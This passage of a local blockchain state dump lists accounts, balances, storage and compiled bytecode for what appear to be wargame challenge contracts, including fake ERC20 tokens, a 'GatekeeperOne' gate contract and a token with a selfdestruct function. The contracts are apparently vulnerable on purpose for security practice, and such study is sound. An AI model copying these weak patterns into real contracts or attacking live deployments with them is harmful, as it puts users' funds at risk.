560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652031000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3100000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e7","0x756af353f56f684aa3fe3e4b3713ab1313420fed683b8a6084b2333635805ea6":"0x2","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x62"}},"0x09635f643e140090a9a8dcd712ed6285858cebef":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c8063d23906fc14602d575b600080fd5b6092603836600460ae565b60408051606b60f91b602080830191909152602560fa1b602183015260609390931b6bffffffffffffffffffffffff19166022820152600160f81b6036820152815160178183030181526037909101909152805191012090565b6040516001600160a01b03909116815260200160405180910390f35b60006020828403121560bf57600080fd5b81356001600160a01b038116811460d557600080fd5b939250505056fea2646970667358221220d04916ead5b5e723dd53c341e8881f3d0e459cf88fa159270926a13690e2d68f64736f6c63430008150033","storage":{}},"0x14dc79964da2c08b23698b3d3cc7ca32193d9955":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x15d34aaf54267db7d7c367839aaf71a00a2c6a65":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063a035b1fe14610046578063a6f2ae3a14610062578063e852e7411461006c575b600080fd5b61004f60005481565b6040519081526020015b60405180910390f35b61006a610089565b005b6001546100799060ff1681565b6040519015158152602001610059565b6000339050600054816001600160a01b031663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f39190610185565b10158015610104575060015460ff16155b15610182576001805460ff1916811790556040805163501ad8ff60e11b815290516001600160a01b0383169163a035b1fe9160048083019260209291908290030181865afa15801561015a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017e9190610185565b6000555b50565b60006020828403121561019757600080fd5b505191905056fea2646970667358221220fb8dce9957491e49d37d8318b09c0796ad7982e30fb76fe71f705159d109f13f64736f6c63430008150033","storage":{"0x0":"0x64"}},"0x196dbcbb54b8ec4958c959d8949ebfe87ac2aaaf":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652032000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3200000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x64"}},"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b146037578063dd365b8b146065575b600080fd5b6000546049906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b607b600080546001600160a01b03191633179055565b00fea264697066735822122094cdb713ee00d0fbfe350badad1f12d162e506d1c3532492a974dedc7d3b794964736f6c63430008150033","storage":{"0x0":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266"}},"0x23618e81e3f5cdf7f54c3d65f7fbc0abf5b21e8f":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x29a79095352a718b3d7fe84e1f14e9f34a35598e":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652031000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3100000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x64"}},"0x322813fd9a801c5507c9de605d63cea4f2ce6c44":{"nonce":1,"balance":"0x0","code":"0x6080604052348015600f57600080fd5b506004361060285760003560e01c80633beb26c414602d575b600080fd5b603d6038366004603f565b600055565b005b600060208284031215605057600080fd5b503591905056fea26469706673582212202f09213ae71416777fe3bb17c68538a6526a85385b7fce3472c600e6e31606d264736f6c63430008150033","storage":{}},"0x36c02da8a0983159322a80ffe9f24b1acff8b570":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x6e","0x3":"0x546f6b656e20310000000000000000000000000000000000000000000000000e","0x4":"0x544b4e3100000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x2314c4c26e1bbf91d9c6b25c404601851c24b2161f4438f53b17615999f1d8af":"0x0","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0x723077b8a1b173adc35e5f0e7e3662fd1208212cb629f9c128551ea7168da722":"0x0","0x756af353f56f684aa3fe3e4b3713ab1313420fed683b8a6084b2333635805ea6":"0x0","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x6e","0xca5589f3837f32e93e152ab464d8e8f19bab0d9981626fa30d8d21f51c13a7d4":"0x0"}},"0x3aa5ebb10dc797cac828524e59a333d0a371443c":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c80633370204e1461003b5780639db31d7714610063575b600080fd5b61004e610049366004610222565b61008e565b60405190151581526020015b60405180910390f35b600054610076906001600160a01b031681565b6040516001600160a01b03909116815260200161005a565b600032330361009c57600080fd5b611fff5a6100aa9190610253565b156100b457600080fd5b818060c01c61ffff168160c01c63ffffffff161461012b5760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c6964206761746554687265656044820152682070617274206f6e6560b81b60648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101965760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201526820706172742074776f60b81b6064820152608401610122565b3261ffff168160c01c63ffffffff16146102065760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201526a207061727420746872656560a81b6064820152608401610122565b600080546001600160a01b031916321790556001915050919050565b60006020828403121561023457600080fd5b81356001600160c01b03198116811461024c57600080fd5b9392505050565b60008261027057634e487b7160e01b600052601260045260246000fd5b50069056fea264697066735822122042198ac9986db04f234891b50c17ed3fa2a356ee50453b17c1c3007ab66a9ea864736f6c63430008150033","storage":{}},"0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x45009dd3abbe29db54fc5d893ceaa98a624882df":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461014157806395d89b411461016a578063a457c2d714610172578063a9059cbb14610185578063dd62ed3e14610198578063e1f21c67146101ab57600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101c0565b6040516100ce919061071c565b60405180910390f35b6100ea6100e5366004610786565b610252565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046107b0565b61026c565b604051601281526020016100ce565b6100ea61013c366004610786565b610290565b6100fe61014f3660046107ec565b6001600160a01b031660009081526020819052604090205490565b6100c16102b2565b6100ea610180366004610786565b6102c1565b6100ea610193366004610786565b610341565b6100fe6101a636600461080e565b61034f565b6101be6101b93660046107b0565b61037a565b005b6060600380546101cf90610841565b80601f01602080910402602001604051908101604052809291908181526020018280546101fb90610841565b80156102485780601f1061021d57610100808354040283529160200191610248565b820191906000526020600020905b81548152906001019060200180831161022b57829003601f168201915b5050505050905090565b6000336102608185856103da565b60019150505b92915050565b60003361027a8582856104fe565b610285858585610578565b506001949350505050565b6000336102608185856102a3838361034f565b6102ad919061087b565b6103da565b6060600480546101cf90610841565b600033816102cf828661034f565b9050838110156103345760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61028582868684036103da565b600033610260818585610578565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b03908116908416036103ca5760405162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b220b8383937bb32b960891b604482015260640161032b565b6103d58383836103da565b505050565b6001600160a01b03831661043c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161032b565b6001600160a01b03821661049d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161032b565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061050a848461034f565b9050600019811461057257818110156105655760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161032b565b61057284848484036103da565b50505050565b6001600160a01b0383166105dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161032b565b6001600160a01b03821661063e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161032b565b6001600160a01b038316600090815260208190526040902054818110156106b65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161032b565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610572565b600060208083528351808285015260005b818110156107495785810183015185820160400152820161072d565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461078157600080fd5b919050565b6000806040838503121561079957600080fd5b6107a28361076a565b946020939093013593505050565b6000806000606084860312156107c557600080fd5b6107ce8461076a565b92506107dc6020850161076a565b9150604084013590509250925092565b6000602082840312156107fe57600080fd5b6108078261076a565b9392505050565b6000806040838503121561082157600080fd5b61082a8361076a565b91506108386020840161076a565b90509250929050565b600181811c9082168061085557607f821691505b60208210810361087557634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561026657634e487b7160e01b600052601160045260246000fdfea26469706673582212200182eba0a0f7f4e4d9f250b1fa6c58e2ce02a170adbbcea922a3acf0c104d61b64736f6c63430008150033","storage":{"0x2":"0x64","0x3":"0x46616b652031000000000000000000000000000000000000000000000000000c","0x4":"0x46434b3100000000000000000000000000000000000000000000000000000008","0x5":"0x5eb3bc0a489c5a8288765d2336659ebca68fcd00","0x63fd3740feaeb2447e6be1f6ce907e3eadb872fff1aefe03b486ff8244ea61a4":"0x3e8","0xa1d47ef1a6916dfbe65888f77739da164feb3a9a6afc95ee57e8b3e85ea5e955":"0x64"}},"0x4a679253410272dd5232b3ff7cf5dbb88f295319":{"nonce":2,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80633894e51614610030575b600080fd5b61004361003e3660046100a5565b610045565b005b81338260405161005490610082565b6100609392919061015a565b604051809103906000f08015801561007c573d6000803e3d6000fd5b50505050565b610640806101c183390190565b634e487b7160e01b600052604160045260246000fd5b600080604083850312156100b857600080fd5b823567ffffffffffffffff808211156100d057600080fd5b818501915085601f8301126100e457600080fd5b8135818111156100f6576100f661008f565b604051601f8201601f19908116603f0116810190838211818310171561011e5761011e61008f565b8160405282815288602084870101111561013757600080fd5b826020860160208301376000602093820184015298969091013596505050505050565b606081526000845180606084015260005b81811015610188576020818801810151608086840101520161016b565b50600060808285018101919091526001600160a01b03959095166020840152604083019390935250601f909101601f1916010191905056fe608060405234801561001057600080fd5b5060405161064038038061064083398101604081905261002f9161008e565b600061003b84826101fa565b506001600160a01b03909116600090815260016020526040902055506102b9565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461008957600080fd5b919050565b6000806000606084860312156100a357600080fd5b83516001600160401b03808211156100ba57600080fd5b818601915086601f8301126100ce57600080fd5b8151818111156100e0576100e061005c565b604051601f8201601f19908116603f011681019083821181831017156101085761010861005c565b8160405282815260209350898484870101111561012457600080fd5b600091505b828210156101465784820184015181830185015290830190610129565b600084848301015280975050505061015f818701610072565b93505050604084015190509250925092565b600181811c9082168061018557607f821691505b6020821081036101a557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156101f557600081815260208120601f850160051c810160208610156101d25750805b601f850160051c820191505b818110156101f1578281556001016101de565b5050505b505050565b81516001600160401b038111156102135761021361005c565b610227816102218454610171565b846101ab565b602080601f83116001811461025c57600084156102445750858301515b600019600386901b1c1916600185901b1785556101f1565b600085815260208120601f198616915b8281101561028b5788860151825594840194600190910190840161026c565b50858210156102a95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b610378806102c86000396000f3fe6080604052600436106100425760003560e01c8062f55d9d1461006b57806306fdde031461008d57806327e235e3146100b8578063a9059cbb146100f357600080fd5b366100665761005234600a610222565b336000908152600160205260409020819055005b600080fd5b34801561007757600080fd5b5061008b610086366004610257565b610113565b005b34801561009957600080fd5b506100a261011f565b6040516100af919061027b565b60405180910390f35b3480156100c457600080fd5b506100e56100d3366004610257565b60016020526000908152604090205481565b6040519081526020016100af565b3480156100ff57600080fd5b5061008b61010e3660046102c9565b6101ad565b806001600160a01b0316ff5b6000805461012c906102f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610158906102f5565b80156101a55780601f1061017a576101008083540402835291602001916101a5565b820191906000526020600020905b81548152906001019060200180831161018857829003601f168201915b505050505081565b336000908152600160205260409